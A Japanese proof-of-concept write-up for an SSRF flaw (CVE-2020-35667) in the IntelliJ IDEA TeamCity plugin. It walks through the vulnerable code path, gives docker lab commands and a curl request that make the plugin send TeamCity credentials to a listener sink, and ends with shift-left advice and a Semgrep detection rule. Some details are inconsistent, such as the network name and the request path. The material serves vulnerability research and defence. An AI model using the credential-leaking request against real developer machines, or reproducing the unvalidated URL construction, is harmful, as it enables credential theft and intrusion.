
CVE-2020-35667 の概念実証エクスプロイト。IntelliJ IDEA TeamCity プラグインの SSRF 脆弱性で、検証されていない URL パラメータを介した資格情報漏洩につながります。
免責事項 以下に示す脆弱性の挙動は、逆コンパイルされたパッチ適用済みアーティファクトから経験的に検証されたものです。これは、元の脆弱なプラグインリリースがもはや入手できないため、ヒューリスティックなアプローチで推測された元の脆弱性に似せようとしたものです。このリポジトリには、隔離されたラボでの再現に使用する、最小限に編集されたビルド(パッチ適用済みバージョンから派生)を含むzipが含まれています。
このCVEは、IntelliJ IDEA TeamCity統合プラグインに関するものです。このプラグインは、IDEとTeamCity(CI/CDオーケストレーターであり、ビルド構成やその他のアーティファクトを保存するアーカイブで、REST/RPC APIを通じて公開されています)との統合を可能にします。
このプラグインはローカルにいくつかのHTTPエンドポイントを開き、一般的なシナリオでは、プラグインがGUIに追加したコンポーネントによって呼び出されます。観察されたセットアップでは、このローカルサーバーはアクセス制御層を実装しておらず、事実上IDEとTeamCityサーバー間のミドルウェアとして機能します。
プラグインのサーバーサイドリクエストハンドラは、URL内のユーザー制御パラメータを受け入れ、十分な検証なしにパッチダウンロードURLを構築するために使用します(CWE-918)。その後プラグインは、TeamCityがREST/RPC APIを公開しているため、ログイン済みユーザーの認証ヘッダー(TeamCityの資格情報)を含むHTTP GETを、細工されたURLに対して発行します。 攻撃者が開発者のホストに到達できると仮定すると(例: フィッシング、XSS)、SSRF(CAPEC-6634)攻撃を実行し、プラグインに攻撃者制御のホストへのリクエストを強制できます。このホストは、ユーザーが制御するパラメータにエンコードされたエンドポイントで待ち受けており、資格情報の漏えいにつながります。これにより、例えば足場(foothold)や横移動(lateral movement)の状況が設定されます。
Connection.run() → Connection.doHandle()
リクエストURIとパラメータを取得し、paramsマップ(fileパラメータを含む)で解析されます。ActivatorBase.handle(res, params, ...) — が をトリガーします。res == "/patch"handleLoadPatch(params)handleLoadPatch は処理をスケジュールし、最終的に UrlUtil.createUrl(params, serverUrl) を呼び出します。ここは私が脆弱になるよう変更したコンポーネントであり、file の値が検証なしにURLのスキーム:アドレス/パスとして挿入され、他のパラメータが追加されます。ActivatorBase.downloadPatch(patchUrl, username, password) は UsernamePasswordCredentials を持つ HttpClient を作成し、client.executeMethod(get) を呼び出します。実際のネットワークリクエストは patchUrl に対して発行されます。私の環境: TeamCity 2020.2.1、IntelliJ IDEA Community 2018.1.8、ホスト: ARM64 Kali Linux 2025.3。すべてのコンテナはエアギャップ(隔離)されています。
(任意)隔離されたdockerネットワークを作成します。
docker network create tc-nec
IntelliJ IDEA をダウンロードして起動し、任意の種類の一時プロジェクトを作成します。zipファイルとして提供されている拡張機能を読み込みます。
TeamCityサーバーコンテナをビルドして起動: 関連するアーティファクトはtc-serverフォルダに提供されています。TeamCityダッシュボードにアクセスし、一時的なTeamCity環境とユーザーを作成します。
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
悪意のあるHTTPシンクをビルドして起動: 関連するアーティファクトはhttp-listenerフォルダに提供されています。
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(任意)詳細な実行解析のためにトレースレベルのプラグインログを有効化: IDE GUI → デバッグログ設定を検索 → #jetbrains.buildServer.activation 行を追加 → IDEを再起動します。
ローカルのTeamCityサーバーに接続: Settings → Tools → TeamCity → Add Server と進み、http://127.0.0.1:8111 を指定し、作成したユーザーでログインします。
以下のリクエストを送信します。
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
シンクサーバーがプラグインのHTTPリクエストをログに記録します。
docker exec lab-sink "cat sink.log"
まず、SDLCにおいてセキュリティのシフトレフト(上流化)を提案したいと思います。これは、定量化可能で実装可能なセキュリティ要件を規定し、OWASP ASVS要件をガイドラインとして維持しつつ、それをフォークしてアプリケーション要件に関連するコード関連の要件のみを採用することによって行います。アプリケーションセキュリティの専門家は、これらの要件を特定のコードコンポーネント、あるいは個々のスニペットにマッピングする必要があります。開発者は、これらのセキュリティ要件(自分たちの言語・フレームワークの組み込みセキュリティメカニズム)を実装する方法を理解できるようトレーニングされるべきです。両者は協力して、各要件を所有するパッケージ、クラス、関数に対応付けるマトリックスを作成し、関連する受け入れチェック(単体テスト、SASTルール)を列挙することで、コードベースのフォークしたASVSセットへの準拠を保証する必要があります。
複数のセキュリティレビューのゲートを、デリバリーパイプライン全体に統合する必要があります。 開発者マシン上で直接、IDEプラグインやpre-commit gitフックを通じて、CIパイプラインのフルスキャンや、調整された環境でのファジングベースのDAST(継続的デプロイメント)に至るまで。いかなるエラーでもビルド/デリバリーは失敗するべきです。これらのスキャンから得られたデータは、継続的に集約・レビューされ、プロセスを改善し、誤検知(false positives)と真陰性(true negatives)を排除するために活用されるべきです。
これは、ユーザー制御パラメータのサニタイズが欠如したURL構築を検出するためのサンプルのSemgrepルールです。プラグインで使用されているhttp-clientライブラリを使ったJavaを対象としています。
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]